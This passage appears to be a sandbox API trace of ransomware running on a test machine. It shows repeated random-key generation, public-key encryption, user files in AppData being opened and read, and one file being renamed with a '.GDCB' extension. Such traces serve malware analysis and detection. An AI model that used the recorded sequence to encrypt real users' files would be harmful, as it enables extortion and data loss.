1 [0294.315] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0294.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.320] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.320] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0294.320] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.320] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.323] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abab0) returned 1 [0294.323] CryptGetKeyParam (in: hKey=0x67abab0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.323] CryptEncrypt (in: hKey=0x67abab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd760000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd760000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0294.323] GetLastError () returned 0x0 [0294.323] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.323] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.333] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abb30) returned 1 [0294.333] CryptGetKeyParam (in: hKey=0x67abb30, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.333] CryptEncrypt (in: hKey=0x67abb30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd770000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd770000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0294.334] GetLastError () returned 0x0 [0294.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.334] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Microsoft.ZuneVideo_3.6.10811.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\microsoft.zunevideo_3.6.10811.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0294.335] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd780000 [0294.338] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd790000 [0294.343] ReadFile (in: hFile=0x504, lpBuffer=0xd790000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd790000*, lpNumberOfBytesRead=0x285de08*=0x10000, lpOverlapped=0x0) returned 1 [0294.374] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xd8a0000 [0294.383] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Microsoft.ZuneVideo_3.6.10811.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\microsoft.zunevideo_3.6.10811.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Microsoft.ZuneVideo_3.6.10811.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\microsoft.zunevideo_3.6.10811.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat.gdcb")) returned 1 [0294.411] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0294.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.417] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.417] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0294.417] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0294.418] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0294.421] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.424] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.424] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0294.424] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.424] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.427] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abcf0) returned 1 [0294.427] CryptGetKeyParam (in: hKey=0x67abcf0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.427] CryptEncrypt (in: hKey=0x67abcf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd760000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd760000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0294.427] GetLastError () returned 0x0 [0294.427] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.427] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0294.429] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abfb0) returned 1 [0294.429] CryptGetKeyParam (in: hKey=0x67abfb0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.429] CryptEncrypt (in: hKey=0x67abfb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd770000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd770000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0294.430] GetLastError () returned 0x0 [0294.430] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.430] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\Windows.ContactSupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\windows.contactsupport_cw5n1h2txyewy\\windows.contactsupport_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0294.550] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0294.554] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.557] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0294.557] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.557] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0294.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.563] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.563] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0294.563] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.563] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.566] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abef0) returned 1 [0294.566] CryptGetKeyParam (in: hKey=0x67abef0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.566] CryptEncrypt (in: hKey=0x67abef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd780000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd780000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0294.566] GetLastError () returned 0x0 [0294.566] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.566] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0294.568] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67abd30) returned 1 [0294.568] CryptGetKeyParam (in: hKey=0x67abd30, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0294.568] CryptEncrypt (in: hKey=0x67abd30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd790000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd790000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0294.568] GetLastError () returned 0x0 [0294.568] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.568] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0294.596] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4980) returned 1 [0294.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.603] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0294.603] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.603] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4980) returned 1 [0294.606] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.610] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.610] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0294.610] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0294.611] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0294.613] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67a8bb0) returned 1 [0294.613] CryptGetKeyParam (in: hKey=0x67a8bb0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0294.613] CryptEncrypt (in: hKey=0x67a8bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd7a0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd7a0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0294.614] GetLastError () returned 0x0 [0294.614] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.614] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0294.616] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67a9ef0) returned 1 [0294.616] CryptGetKeyParam (in: hKey=0x67a9ef0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0294.616] CryptEncrypt (in: hKey=0x67a9ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd7b0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd7b0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0294.616] GetLastError () returned 0x0 [0294.616] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.616] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0294.643] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0294.647] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.650] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.650] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0294.650] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0294.650] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0294.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.656] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0294.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0294.657] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0294.659] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67abd70) returned 1 [0294.659] CryptGetKeyParam (in: hKey=0x67abd70, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0294.659] CryptEncrypt (in: hKey=0x67abd70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd7c0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd7c0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0294.659] GetLastError () returned 0x0 [0294.659] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.659] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4e48) returned 1 [0294.661] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67abdb0) returned 1 [0294.661] CryptGetKeyParam (in: hKey=0x67abdb0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0294.661] CryptEncrypt (in: hKey=0x67abdb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd7d0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd7d0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0294.662] GetLastError () returned 0x0 [0294.662] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0294.662] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0294.664] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0294.668] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.671] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0294.671] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.671] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0294.674] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0294.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0294.677] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0294.677] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0294.678] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0294.680] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67ac0b0) returned 1 [0294.681] CryptGetKeyParam (in: hKey=0x67ac0b0, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0294.681] CryptEncrypt (in: hKey=0x67ac0b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd7e0000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0xd7e0000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0294.681] GetLastError () returned 0x0 [0294.681] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.681] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x5c4760) returned 1 [0294.683] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x67abe30) returned 1 [0294.683] CryptGetKeyParam (in: hKey=0x67abe30, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0294.683] CryptEncrypt (in: hKey=0x67abe30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd7f0000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0xd7f0000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0294.683] GetLastError () returned 0x0 [0294.683] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0294.683] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0295.506] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0295.510] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0295.512] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0295.513] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0295.513] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0295.513] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0295.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0295.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0295.519] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0295.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0295.520] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4980) returned 1 [0295.522] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67abe70) returned 1 [0295.522] CryptGetKeyParam (in: hKey=0x67abe70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0295.522] CryptEncrypt (in: hKey=0x67abe70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd800000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd800000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0295.523] GetLastError () returned 0x0 [0295.523] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0295.523] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0295.525] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67abff0) returned 1 [0295.525] CryptGetKeyParam (in: hKey=0x67abff0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0295.525] CryptEncrypt (in: hKey=0x67abff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd810000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd810000*, pdwDataLen=0x285e560*=0x100) returned 1 [0295.525] GetLastError () returned 0x0 [0295.525] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0295.525] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0296.045] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4e48) returned 1 [0296.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0296.052] GetProcAddress 